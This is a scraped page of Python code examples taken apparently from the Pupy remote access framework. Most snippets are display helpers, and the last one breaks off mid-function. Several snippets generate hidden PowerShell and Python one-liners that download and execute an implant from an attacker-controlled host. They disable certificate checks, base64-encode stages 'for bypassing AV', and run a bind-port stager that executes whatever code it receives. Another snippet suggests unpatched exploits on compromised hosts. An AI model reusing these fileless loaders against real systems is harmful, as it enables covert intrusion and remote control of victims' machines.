Beispiel #1
0
    def run(self, args):
        if args.action == 'start':
            catcher_start = self.client.remote('pipecatcher', 'catcher_start',
                                               False)
            if catcher_start(CATCHER_EVENT):
                self.success('PipeCatcher started')
            else:
                self.error('PipeCatcher already started')

        elif args.action == 'dump':
            catcher_dump = self.client.remote('pipecatcher', 'catcher_dump')
            data = catcher_dump()
            if data is None:
                self.error('PipeCatcher is not running')
            elif not data:
                self.warning('No data')
            else:
                data = [
                    '{} ({})'.format(name, sid) if name != sid else sid
                    for (name, sid) in data
                ]
                self.log(List(data))

        elif args.action == 'stop':
            catcher_stop = self.client.remote('pipecatcher', 'catcher_stop',
                                              False)
            catcher_stop()
            self.success('PipeCatcher stopped')
Beispiel #2
0
def dotnet_serve_payload(display, server, rawdll, conf, link_ip="<your_ip>"):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    dn = DotNetPayload(display, server, conf, rawdll)
    exe_path = dn.gen_exe(options='-target:library')

    with open(exe_path, 'rb') as r:
        payload = r.read()

    os.unlink(exe_path)

    landing_uri = server.pupweb.serve_content(payload, alias='.NET payload')

    command = PS_TEMPLATE.format(link_ip=link_ip,
                                 port=server.pupweb.port,
                                 landing_uri=landing_uri).encode('utf-16le')

    display(
        List(
            [
                'powershell -w hidden -enc "{}"'.format(b64encode(command)),
            ],
            caption=Success(
                'Copy/paste this one-line loader to deploy pupy without writing on the disk'
            )))
Beispiel #3
0
    def tables(self, args):
        tables = self.client.remote('odbc', 'tables')
        catalogs = tables(args.alias)
        if not catalogs:
            return

        re_filter = None

        if args.filter:
            re_filter = re_compile(' '.join(args.filter), IGNORECASE)

        for catalog, records in catalogs.iteritems():
            if args.views:
                self.log(
                    Table([{
                        'TABLE': table,
                        'TYPE': tabletype
                    } for (table, tabletype) in records
                           if not re_filter or re_filter.match(table)],
                          ['TABLE', 'TYPE'],
                          caption=catalog))
            else:
                self.log(
                    List([
                        table
                        for (table, tabletype) in records if not re_filter
                        or re_filter.match(table) and tabletype == 'TABLE'
                    ],
                         caption=catalog))
Beispiel #4
0
    def register(self, args):
        register = self.client.remote('odbc', 'register_driver')
        drivers = self.client.remote('odbc', 'drivers')

        if register(args.name, args.description, args.library):
            self.client.load_dll(args.library)

        self.log(List(drivers()))
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False):

    ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream();
    [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c="";
    if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);}
    else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);}
    while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; }
    $t.Close();$l.stop();iex $c;
    """

    main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;"""
    hidden = '' if nothidden else '-w hidden '
    launcher = ps1_template.replace("[BIND_PORT]", bind_port)
    launcher = launcher.replace('\n', '').replace('    ', '')
    basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List([
            oneliner,
            encoded_oneliner,
        ],
             caption=Success('Copy/paste one of these one-line loader to '
                             'deploy pupy without writing on the disk')))

    display(Success('Generating puppy dll. Be patient...'))

    display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port)))

    s = socket.create_connection((target_ip, int(bind_port)))
    s.settimeout(30)
    s.sendall("\n")

    display(Success('Receiving target architecure...'))

    version = s.recv(1024)
    ps1_encoded = None

    if version == '2':
        display(Success('Target architecture: x64'))
        output_x64 = pupygen.generate_ps1(display, conf, x64=True, as_str=True)
        ps1_encoded = main_ps1_template.format(b64encode(output_x64))
    else:
        display(Success('Target architecture: x86'))
        output_x86 = pupygen.generate_ps1(display, conf, x86=True, as_str=True)
        ps1_encoded = main_ps1_template.format(b64encode(output_x86))

    display(
        Success('Sending ps1 payload to {0}:{1}'.format(target_ip, bind_port)))
    s.sendall(ps1_encoded)
    s.close()

    display(
        Success('ps1 payload sent to target {0}:{1}'.format(
            target_ip, bind_port)))
Beispiel #6
0
        def on_data(code, payload):
            if code == END:
                completion.set()
                if args.verbose:
                    self.info('DONE [Total: {}]'.format(total))
            elif code == HEADER:
                del header[:]
                header.extend(payload)
                if output or args.tabs:
                    tabbed = u'\t'.join(_asunicode(col[0]) for col in header)
                    if output:
                        output.write(tabbed + '\n')
                    else:
                        self.log(tabbed)
            elif code == LOG:
                if args.verbose:
                    self.info(payload)
            elif code == ERROR:
                self.error(payload)
                completion.set()
            elif code != DATA:
                self.error('Unexpected code {}'.format(code))
            elif payload is None:
                return
            elif output or args.tabs:
                total.inc(len(payload))
                for record in payload:
                    tabbed = '\t'.join(_asunicode(col) for col in record)
                    if output:
                        output.write(tabbed + '\n')
                    else:
                        self.log(tabbed)
            elif args.table:
                titles = tuple(col[0] for col in header)
                total.inc(len(payload))

                self.log(
                    Table([{
                        title: value
                        for title, value in zip(titles, values)
                    } for values in payload], titles))
            else:
                total.inc(len(payload))
                titles = tuple(col[0] for col in header)

                if len(header) == 1:
                    for record in payload:
                        self.log(record[0])
                else:
                    for record in payload:
                        self.log(
                            List([
                                u'{}: {}'.format(title, value)
                                for (title, value) in zip(titles, record)
                            ]))
                        self.log(NewLine())
Beispiel #7
0
    def run(self, args):
        wql = self.client.remote('wql', 'execute_final')
        if args.query:
            cmdline = ' '.join(args.query)
        else:
            cmdline = 'SELECT DatabaseDirectory,BuildVersion,LoggingDirectory '\
              'FROM Win32_WMISetting'

        try:
            columns, result = wql(cmdline)
        except Exception as e:
            self.error(e.strerror)
            return

        if args.columns_only:
            self.log(List(columns, caption='Columns'))
            return

        def _stringify(x):
            if type(x) in (str, unicode):
                return x
            elif type(x) in (list, tuple):
                return ';'.join(_stringify(y) for y in x)
            elif type(x) is None:
                return ''
            else:
                return str(x)

        if not columns:
            return
        elif len(columns) == 1:
            records = []
            for record in result:
                for item in record:
                    if item[0] == columns[0]:
                        records.append(_stringify(item[1]))
            self.log(List(records, caption=columns[0]))
        else:
            records = [{k: _stringify(v)
                        for k, v in record} for record in result]

            self.log(Table(records, columns))
Beispiel #8
0
    def childs(self, args):
        childs = self.client.remote('ad', 'childs')
        ok, result = childs(args.realm, args.global_catalog)

        if not ok:
            self.error(result)
            return

        i_am, rootdn, childs = result

        self.log(
            List(childs, caption='Root: {} Whoami: {}'.format(rootdn, i_am)))
Beispiel #9
0
    def _format_multi(self, results, wide=False, remove=None):
        keys = []
        values = []

        legend = ['NAME', 'TYPE', 'VALUE']
        if not remove:
            legend.insert(0, 'KEY')

        for record in results:
            is_key, key, rest = record[0], record[1], record[2:]

            if remove and key.startswith(remove):
                key = key[len(remove) + 1:]

            if is_key:
                keys.append(key)
                continue

            name, value, ktype = rest

            ktype = TYPES[ktype]
            color = TYPE_COLORS[ktype]

            if not wide and type(value) in (str, unicode):
                value = value.strip()

            values.append({
                'KEY':
                Color(key, color),
                'NAME':
                Color(name, color),
                'VALUE':
                Color(value if ktype != 'BINARY' else repr(value), color),
                'TYPE':
                Color(ktype, color)
            })

        results = []

        if keys:
            results.append(List(keys, caption='{ Keys }'))

        if values:
            results.append(Table(values, legend, caption='Values'))

        if not keys and not values:
            self.log('Empty')
        else:
            results = MultiPart(results)
            if not wide:
                results = TruncateToTerm(results)
            self.log(results)
Beispiel #10
0
    def run(self, args):
        get_last_events = self.client.remote('readlogs', 'get_last_events')
        today = datetime.now().date()

        def make_fields(item):
            items = []
            if args.time:
                date = datetime.fromtimestamp(item['date'])
                date_str = ''
                if date.date() == today:
                    date_str = Color(date.strftime('%H:%M:%S'), 'cyan')
                elif date.date().year == today.year:
                    date_str = Color(date.strftime('%d/%m %H:%M:%S'), 'grey')
                else:
                    date_str = Color(date.strftime('%Y/%d/%m %H:%M:%S'),
                                     'lightgrey')

                items.append(date_str)

            if 'EventID' in item:
                items.append(Color(item['EventID'], 'green'))

            msg = item['msg']

            if not args.width:
                msg = ' '.join([x.strip() for x in msg.split('\n')])

            if item.get('type') in ('CRITICAL', 'EMERGENCY', 'ALERT', 'ERROR'):
                msg = Color(msg, 'lightred')
            elif item.get('type') == 'WARNING':
                msg = Color(msg, 'lightyellow')
            elif item.get('type') == 'DEBUG':
                msg = Color(msg, 'grey')

            items.append(msg)
            return Line(*items)

        for category, events in get_last_events(args.number, args.include,
                                                args.exclude, args.event_id,
                                                args.source).iteritems():
            if not events:
                continue

            data = List([make_fields(x) for x in events],
                        indent=0,
                        bullet='+' if args.include or args.exclude else '',
                        caption=Color('> ' + category, 'yellow'))

            if not args.width:
                data = TruncateToTerm(data)

            self.log(data)
Beispiel #11
0
    def run(self, args):
        wql = self.client.remote('pupyutils.psexec', 'wql')
        if args.query:
            cmdline = ' '.join(args.query)

        else:
            cmdline = 'SELECT DatabaseDirectory,BuildVersion,LoggingDirectory '\
              'FROM Win32_WMISetting'

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = list()
            hosts.append(args.target[0])

        for host in hosts:
            try:
                columns, values = wql(str(host), args.port, args.user,
                                      args.domain, args.passwd, args.hash,
                                      cmdline, args.timeout)

                if not columns:
                    return
                elif len(columns) == 1:
                    self.log(
                        List(list(_stringify(x[0]) for x in values),
                             caption=columns[0]))
                else:
                    if not values:
                        return

                    elif len(values) == 1:
                        records = [{
                            'KEY': column,
                            'VALUE': _stringify(values[0][idx])
                        } for idx, column in enumerate(columns)]
                        self.log(Table(records, ['KEY', 'VALUE']))
                    else:
                        records = [{
                            column: _stringify(value[idx])
                            for idx, column in enumerate(columns)
                        } for value in values]
                        self.log(Table(records, columns))

            except Exception as e:
                self.error(e)
Beispiel #12
0
    def _output_search_results(self, results, fields, table=False, realm=None):
        if not results:
            return

        is_list = False
        is_table = False

        if len(fields) == 1:
            _results = [_get_field(line, fields[0]) for line in results]

            is_list = all(not isinstance(record, (dict, tuple, list))
                          for record in _results)

            if is_list:
                results = _results

        elif table and fields:
            results = [{field: _get_field(result, field)
                        for field in fields} for result in results]

            is_table = all(
                all(not isinstance(value, (dict, tuple, list))
                    for value in record.itervalues()) for record in results)

        if is_list:
            self.log(List(results, caption=realm))
        elif is_table:
            self.log(Table(results, fields or None, caption=realm))
        else:
            filtered = results
            if fields:
                filtered = [{
                    field: _get_field(result, field)
                    for field in fields
                } for result in results]

            formatted_json = dumps(filtered,
                                   indent=2,
                                   sort_keys=True,
                                   default=json_default,
                                   ensure_ascii=False)

            if realm:
                self.log('+ ' + realm)

            self.log(Pygment(lexers.JsonLexer(), formatted_json))
Beispiel #13
0
def send_ps1_payload(display, conf, bind_port, target_ip, nothidden=False):

    ps1_template = """$l=[System.Net.Sockets.TcpListener][BIND_PORT];$l.start();$c=$l.AcceptTcpClient();$t=$c.GetStream();
    [byte[]]$b=0..4096|%{0};$t.Read($b, 0, 4);$c="";
    if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){$t.Write([System.Text.Encoding]::UTF8.GetBytes("2"),0,1);}
    else{$t.Write([System.Text.Encoding]::UTF8.GetBytes("1"),0,1);}
    while(($i=$t.Read($b,0,$b.Length)) -ne 0){ $d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$c=$c+$d; }
    $t.Close();$l.stop();iex $c;
    """

    main_ps1_template = """$c=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $c;"""
    hidden = '' if nothidden else '-w hidden '
    launcher = ps1_template.replace("[BIND_PORT]", bind_port)
    launcher = launcher.replace('\n', '').replace('    ', '')
    basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List([
            oneliner,
            encoded_oneliner,
        ],
             caption=Success('Copy/paste one of these one-line loader to '
                             'deploy pupy without writing on the disk')))

    display(Success('Generating puppy dll. Be patient...'))

    display(Success('Connecting to {0}:{1}'.format(target_ip, bind_port)))

    s = None

    for _ in xrange(10):
        try:
            s = socket.create_connection((target_ip, int(bind_port)))
            break

        except socket.error, e:
            if e.errno not in (errno.ECONNREFUSED, errno.ETIMEDOUT):
                display(Error('Connection failed: {}'.format(e)))
                return

            sleep(CONNECTION_RETRY_SLEEP_TIME)
Beispiel #14
0
def serve_payload(display,
                  payload,
                  ip="0.0.0.0",
                  port=8080,
                  link_ip="<your_ip>"):
    class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            # Send the html message
            self.wfile.write(payload)
            return

    try:
        while True:
            try:
                server = HTTPServer((ip, port), PupyPayloadHTTPHandler)
                break
            except Exception as e:
                # [Errno 98] Adress already in use
                if e[0] == 98:
                    port += 1
                else:
                    raise

        display(
            List([
                "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'"
                % (link_ip, port),
            ],
                 caption=Success(
                     'Copy/paste this one-line loader to deploy pupy without writing on the disk'
                 )))

        display(Success('Started http server on %s:%s ' % (ip, port)))
        display(Success('Waiting for a connection ...'))
        server.serve_forever()

    except KeyboardInterrupt:
        display(
            Warn('KeyboardInterrupt received, shutting down the web server'))
        server.socket.close()
        server.shutdown()
Beispiel #15
0
def serve_payload(display, server, payload, link_ip="<your_ip>"):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    landing_uri = server.pupweb.serve_content(payload, alias='py payload')

    display(Warn('Python 2.7.x required, x should be >= 9'))

    display(
        List([
            "python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s%s\").read()'"
            % (link_ip, server.pupweb.port, landing_uri),
        ],
             caption=Success(
                 'Copy/paste this one-line loader to deploy pupy without writing on the disk'
             )))
Beispiel #16
0
def serve_ps1_payload(display, conf, ip="0.0.0.0", port=8080, link_ip="<your_ip>", useTargetProxy=False, sslEnabled=True, nothidden=False):

    url_random_one      = ''.join(choice(letters) for _ in xrange(10)) + '.txt'
    url_random_two_x86  = ''.join(choice(letters) for _ in xrange(10)) + '.txt'
    url_random_two_x64  = ''.join(choice(letters) for _ in xrange(10)) + '.txt'

    try:
        protocol             = 'http'
        ssl_cert_validation  = ''
        not_use_target_proxy = ''
        hidden               = '-w hidden '

        if nothidden:
            hidden = ''

        if sslEnabled:
            protocol            = 'https'
            ssl_cert_validation = '[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};'

        if not useTargetProxy:
            not_use_target_proxy = '$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();'

        powershell      = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX(New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT]/[RANDOM]');"
        repls           = ('[NOT_USE_TARGET_PROXY]', not_use_target_proxy), \
            ('[SSL_CERT_VALIDATION]', ssl_cert_validation), \
            ('[PROTOCOL]', protocol), \
            ('[LINK_IP]', '%s' % link_ip), \
            ('[LINK_PORT]', '%s' % port)

        powershell      = reduce(lambda a, kv: a.replace(*kv), repls, powershell)

        launcher            = powershell.replace('[RANDOM]', url_random_one)
        basic_launcher      = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace('[HIDDEN]', hidden)
        oneliner            = basic_launcher.replace('[CMD]', '-c %s' % repr(launcher))
        encoded_oneliner    = basic_launcher.replace('[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

        # Compute stage1 to gain time response
        ps_template_stage1 = """
        if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
        {{
        {0}
        }}
        else
        {{
        {1}
        }}
        """
        launcher_x64 = powershell.replace('[RANDOM]', url_random_two_x64)
        launcher_x86 = powershell.replace('[RANDOM]', url_random_two_x86)

        stage1 = ps_template_stage1.format(launcher_x64, launcher_x86)

        # For bypassing AV
        stage1 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage1))

        # generate both pupy dll to gain time response
        display(Success('Generating puppy dll to gain server reaction time. Be patient...'))

        tmpfile    = tempfile.gettempdir()
        output_x86 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x86=True)
        output_x64 = pupygen.generate_ps1(display, conf, output_dir=tmpfile, x64=True)

        stage2_x86 = open(output_x86).read()
        stage2_x64 = open(output_x64).read()

        # For bypassing AV
        stage2_x86 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x86))
        stage2_x64 = "$code=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{0}'));iex $code;".format(b64encode(stage2_x64))

        class PupyPayloadHTTPHandler(BaseHTTPRequestHandler):
            def do_GET(self):
                self.server_version = "Apache/2.4.27 (Unix)"
                self.sys_version    = ""

                if self.path == "/%s" % url_random_one:

                    self.send_response(200)
                    self.send_header('Content-type','text/html')
                    self.end_headers()

                    # Send stage 1 to target
                    self.wfile.write(self.server.stage1)
                    display(Success('[Stage 1/2] Powershell script served !'))

                elif self.path == "/%s" % url_random_two_x86 or self.path == "/%s" % url_random_two_x64:
                    self.send_response(200)
                    self.send_header('Content-type','text/html')
                    self.end_headers()

                    stage2 = None
                    if self.path == "/%s" % url_random_two_x86:
                        display(Success('Remote script is running in a x86 powershell process'))
                        stage2 = self.server.stage2_x86
                    else:
                        display(Success('Remote script is running in a x64 powershell process'))
                        stage2 = self.server.stage2_x64

                    # Send stage 2 to target
                    self.wfile.write(stage2)

                    display(Success(
                        '[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!'))
                    display(Success(
                        '{}:You should have a pupy shell in few seconds from this host...'.format(
                            self.client_address[0])))

                else:
                    self.send_response(404)
                    self.send_header('Content-type','text/html')
                    self.end_headers()
                    self.wfile.write(APACHE_DEFAULT_404)

        server = ThreadedHTTPServer((ip, port), PupyPayloadHTTPHandler)
        server.set(conf, sslEnabled, stage1, stage2_x86, stage2_x64)

        display(List([
            oneliner,
            encoded_oneliner
        ], caption=Success(
            'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:')))

        display(Warn(
            'Please note that even if the target\'s system uses a proxy, '
            'this previous powershell command will not use the '
            'proxy for downloading pupy'))

        display(Success('Started http server on %s:%s ' % (ip, port)))
        display(Success('Waiting for a connection ...'))

        server.serve_forever()
    except KeyboardInterrupt:
        print 'KeyboardInterrupt received, shutting down the web server'
        server.server_close()

    finally:
        # clean local file created
        os.remove(output_x86)
        os.remove(output_x64)
Beispiel #17
0
    def run(self, args):
        close_event = threading.Event()
        result = []

        cmdargs = None
        kwargs = None

        definitions = None

        safe_exec = self.client.remote('pupyutils.safepopen', 'safe_exec',
                                       False)

        if self.client.is_linux():
            payload = open(LINUX_EXPLOIT_SUGGESTER_PATH).read()
            cmdargs = ['/bin/bash']
            kwargs = (('stdin_data', payload), )
        else:
            definitions = os.path.join(self.config.get_folder('plugins'),
                                       WES_LOCAL_FILE)

            if not os.path.isfile(definitions) or args.update:
                self.info(
                    'Updating WES defintions from {}'.format(WES_DEFINITIONS))
                try:
                    response = urlopen(WES_DEFINITIONS)
                    with open(definitions, 'w+b') as out:
                        while True:
                            block = response.read(32768)
                            if not block:
                                break

                            out.write(block)

                except Exception as e:
                    self.error('Update failed: {}'.format(e))

                    if os.path.isfile(definitions):
                        try:
                            os.unlink(definitions)
                        except (OSError, IOError):
                            pass

                    return

                self.info('Update completed ({})'.format(definitions))

            expandvars = self.client.remote('os.path', 'expandvars')
            systeminfo = expandvars(r'%WINDIR%\System32\systeminfo.exe')
            cmdargs = [systeminfo]
            kwargs = tuple()

        self.info('Execute payload ({})'.format(' '.join(cmdargs)))
        self.terminate_pipe, get_returncode = safe_exec(
            result.append, close_event.set, cmdargs, kwargs)

        close_event.wait()
        retcode = get_returncode()

        if retcode != 0:
            self.warning('Ret: {}'.format(retcode))
        else:
            self.success('Done')

        result = ''.join(result)

        if not result:
            self.error('No data')
            return

        if self.client.is_linux():
            self.log(result)
            return

        wes = imp.load_source('wes', WES_PATH)

        try:
            cves, date = wes.load_definitions(definitions)
        except BadZipfile:
            self.error('Defintions were downloaded incorrectly ({})'.format(
                definitions))
            return

        productfilter, win, mybuild, version, arch, hotfixes = \
          wes.determine_product(result)

        self.log(
            List([
                'Definitions: ' + str(date), 'Name: ' + productfilter,
                'Generation: ' + (win or 'N/A'), 'Build: ' +
                (str(mybuild) if mybuild else 'N/A'), 'Version: ' +
                (str(version) or 'N/A'), 'Architecture: ' + arch,
                'Hotfixes: ' + ', '.join(['KB%s' % kb for kb in hotfixes])
            ],
                 caption='Operating System'))

        try:
            filtered, found = wes.determine_missing_patches(
                productfilter, cves, hotfixes)
        except wes.WesException as e:
            self.error(e.msg)
            return

        if not args.no_recent_kb:
            recentkb = wes.get_most_recent_kb(found)
            if recentkb:
                recentdate = int(recentkb['DatePosted'])
                found = list(
                    filter(lambda kb: int(kb['DatePosted']) >= recentdate,
                           found))

        if 'Windows Server' in productfilter:
            self.info('Filtering duplicate vulnerabilities')
            found = wes.filter_duplicates(found)

        filtered = wes.apply_display_filters(found, args.hide, True, [], [])
        if not filtered:
            self.info('No vulnerabilities found')
            return

        results = {}
        proposed = set()

        for res in filtered:
            exploits = res['Exploits'].split(',')
            for exploit in exploits:
                exploit = exploit.strip()
                if exploit in proposed:
                    continue

                proposed.add(exploit)

                impact = ''.join(l[0] for l in res['Impact'].split())
                color = 'white'
                if impact == 'ID':
                    color = 'grey'
                elif res['Severity'] == 'Critical' or impact in ('RCE', 'EoP'):
                    color = 'lightred'
                elif res['Severity'] == 'Important':
                    color = 'lightyellow'

                title = (res['AffectedComponent'] + ' / ' + res['AffectedProduct']) \
                  if res['AffectedComponent'] else res['AffectedProduct']

                if title not in results:
                    results[title] = []

                results[title].append({
                    'CVE': Color(res['CVE'], color),
                    'Date': res['DatePosted'],
                    'Impact': impact,
                    'Exploit': exploit
                })

        tables = [NewLine()]
        for component, cves in results.iteritems():
            tables.append(
                Table(cves, ['CVE', 'Date', 'Impact', 'Exploit'], component))

        self.log(MultiPart(tables))
def serve_ps1_payload(display,
                      server,
                      conf,
                      link_ip="<your_ip>",
                      useTargetProxy=False,
                      nothidden=False):
    if not server:
        display(Error('Oneliners only supported from pupysh'))
        return

    if not server.pupweb:
        display(Error('Webserver disabled'))
        return

    stage_encoding = "$data='{0}';$code=[System.Text.Encoding]::UTF8.GetString("\
      "[System.Convert]::FromBase64String($data));$data='';iex $code;"

    payload_url_x86 = server.pupweb.serve_content(stage_encoding.format(
        b64encode(pupygen.generate_ps1(display, conf, x86=True, as_str=True))),
                                                  as_file=True,
                                                  alias='ps1 payload [x86]')

    payload_url_x64 = server.pupweb.serve_content(stage_encoding.format(
        b64encode(pupygen.generate_ps1(display, conf, x64=True, as_str=True))),
                                                  as_file=True,
                                                  alias='ps1 payload [x64]')

    protocol = 'http'
    ssl_cert_validation = ''
    not_use_target_proxy = ''
    hidden = '-w hidden '

    if nothidden:
        hidden = ''

    if server.pupweb.ssl:
        protocol = 'https'
        ssl_cert_validation = '[System.Net.ServicePointManager]::'\
          'ServerCertificateValidationCallback={$true};'

    if not useTargetProxy:
        not_use_target_proxy = '$w=(New-Object System.Net.WebClient);'\
          '$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();'

    powershell = "[NOT_USE_TARGET_PROXY][SSL_CERT_VALIDATION]IEX("\
      "New-Object Net.WebClient).DownloadString('[PROTOCOL]://[LINK_IP]:[LINK_PORT][RANDOM]');"

    repls = {
        '[NOT_USE_TARGET_PROXY]': not_use_target_proxy,
        '[SSL_CERT_VALIDATION]': ssl_cert_validation,
        '[PROTOCOL]': protocol,
        '[LINK_IP]': '%s' % link_ip,
        '[LINK_PORT]': '%s' % server.pupweb.port,
    }

    for k, v in repls.iteritems():
        powershell = powershell.replace(k, v)

    launcher_x64 = powershell.replace('[RANDOM]', payload_url_x64)
    launcher_x86 = powershell.replace('[RANDOM]', payload_url_x86)

    # Compute stage1 to gain time response
    ps_template_stage1 = "if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{ {0} }} else {{ {1} }}"

    # For bypassing AV
    stage1 = r"$code=[System.Text.Encoding]::UTF8.GetString("\
      "[System.Convert]::FromBase64String('{0}'));iex $code;".format(
          b64encode(ps_template_stage1.format(launcher_x64, launcher_x86)))

    landing_uri = server.pupweb.serve_content(stage1,
                                              alias='ps1 payload loader')

    launcher = powershell.replace('[RANDOM]', landing_uri)
    basic_launcher = "powershell.exe [HIDDEN]-noni -nop [CMD]".replace(
        '[HIDDEN]', hidden)
    oneliner = basic_launcher.replace('[CMD]', '-c \"%s\"' % launcher)
    encoded_oneliner = basic_launcher.replace(
        '[CMD]', '-enc %s' % b64encode(launcher.encode('UTF-16LE')))

    display(
        List(
            [oneliner, encoded_oneliner],
            caption=Success(
                'Copy/paste one of these one-line loader to deploy pupy without writing on the disk:'
            )))

    display(
        Warn('Please note that even if the target\'s system uses a proxy, '
             'this previous powershell command will not use the '
             'proxy for downloading pupy'))
Beispiel #19
0
 def on_data(payload):
     if isinstance(payload, tuple):
         self.info(List(payload[1], caption=payload[0]))
     else:
         self.info(payload)
Beispiel #20
0
    def getinfo(self, args):
        info = self.client.remote('ad', 'info')
        desc = from_tuple_deep(info(args.realm, args.global_catalog), False)
        idesc = desc.get('info', {})

        infos = []

        versions = idesc.get('supported_ldap_versions', [])

        if not hasattr(versions, '__iter__'):
            versions = [versions]

        infos.append(
            List([
                'Bind: ' + desc.get('bind', ''), 'Root: ' +
                desc.get('root', ''), 'LDAP: ' + desc.get('ldap', ''),
                'DNS: ' + desc['dns'][4][0] if desc.get('dns', None) else '',
                'Schema: ' + idesc.get('schema_entry', ''),
                'Versions: ' + ', '.join(str(version) for version in versions),
                'SASL Mechs: ' + ', '.join(
                    mech
                    for mech in idesc.get('supported_sasl_mechanisms', []))
            ],
                 caption='Connection'))

        if desc['ldap_servers']:
            infos.append(
                Table(desc['ldap_servers'], ['address', 'port', 'priority'],
                      caption='LDAP Servers'))

        if desc['dns_servers']:
            infos.append(
                Table([{
                    'IP':
                    dns[0][4][0] + ('/tcp' if dns[0][2] == 2 else '/udp'),
                    'Delay':
                    '{:.02f}ms'.format(dns[1] * 1000),
                } for dns in desc['dns_servers']], ['IP', 'Delay'],
                      caption='DNS Servers'))

        if not idesc:
            self.log(MultiPart(infos))
            return

        if idesc['alt_servers']:
            infos.append(
                List(idesc['alt_servers'], caption='Alternate servers'))

        if idesc['naming_contexts'] and not isinstance(
                idesc['naming_contexts'], (str, unicode)):
            infos.append(
                List(idesc['naming_contexts'], caption='Naming contexts'))

        supported = []
        for table in ('supported_controls', 'supported_extensions',
                      'supported_features'):
            for oid, klass, name, vendor in idesc[table]:
                supported.append({
                    'OID': oid,
                    'Type': klass,
                    'Name': name,
                    'Vendor': vendor
                })

        if supported:
            infos.append(
                Table(supported, ['OID', 'Type', 'Name', 'Vendor'],
                      caption='Supported features and extensions'))

        if 'other' in idesc:
            infos.append(
                List(tuple('{}: {}'.format(key, value)
                           for key, value in idesc['other'].iteritems()
                           if key not in ('supportedLDAPPolicies', )),
                     caption='Other info'))

        self.log(MultiPart(infos))
Beispiel #21
0
class FStat(PupyModule):
    '''Show a bit more info about file path. ACLs/Caps/Owner for now'''

    dependencies = {
        'all': ['pupyutils.basic_cmds', 'fsutils', 'fsutils_ext'],
        'windows': ['junctions', 'ntfs_streams', 'pupwinutils.security'],
        'linux': ['xattr', 'posix1e', 'prctl', '_prctl']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='stat',
                                            description=cls.__doc__)
        cls.arg_parser.add_argument(
            '-v',
            '--verbose',
            action='store_true',
            default=False,
            help='Print more information (certificates for example)')
        cls.arg_parser.add_argument('path',
                                    type=str,
                                    nargs=REMAINDER,
                                    help='path of a specific file',
                                    completer=remote_path_completer)

    def run(self, args):
        getfilesec = self.client.remote('fsutils_ext', 'getfilesec')

        path = ' '.join(args.path)

        try:
            sec = getfilesec(path)
        except Exception, e:
            self.error(' '.join(x for x in e.args
                                if type(x) in (str, unicode)))
            return

        ctime, atime, mtime, size, owner, group, header, mode, extra = sec

        owner_id, owner_name, owner_domain = owner
        group_id, group_name, group_domain = group

        default = {
            'Created':
            file_timestamp(ctime, time=True),
            'Accessed':
            file_timestamp(atime, time=True),
            'Modified':
            file_timestamp(mtime, time=True),
            'Size':
            '{} ({})'.format(size_human_readable(size), size),
            'Owner':
            '{}{} ({})'.format(owner_domain + '\\' if owner_domain else '',
                               owner_name, owner_id),
            'Group':
            '{}{} ({})'.format(group_domain + '\\' if group_domain else '',
                               group_name, group_id),
            'Mode':
            mode,
        }

        infos = []

        infos.append(
            Table([{
                'Property': p,
                'Value': default[p]
            } for p in ('Created', 'Accessed', 'Modified', 'Size', 'Owner',
                        'Group', 'Mode')], ['Property', 'Value'],
                  legend=False))

        oneliners = []

        certificates = None

        for extra, values in extra.iteritems():
            if extra == 'Certificates':
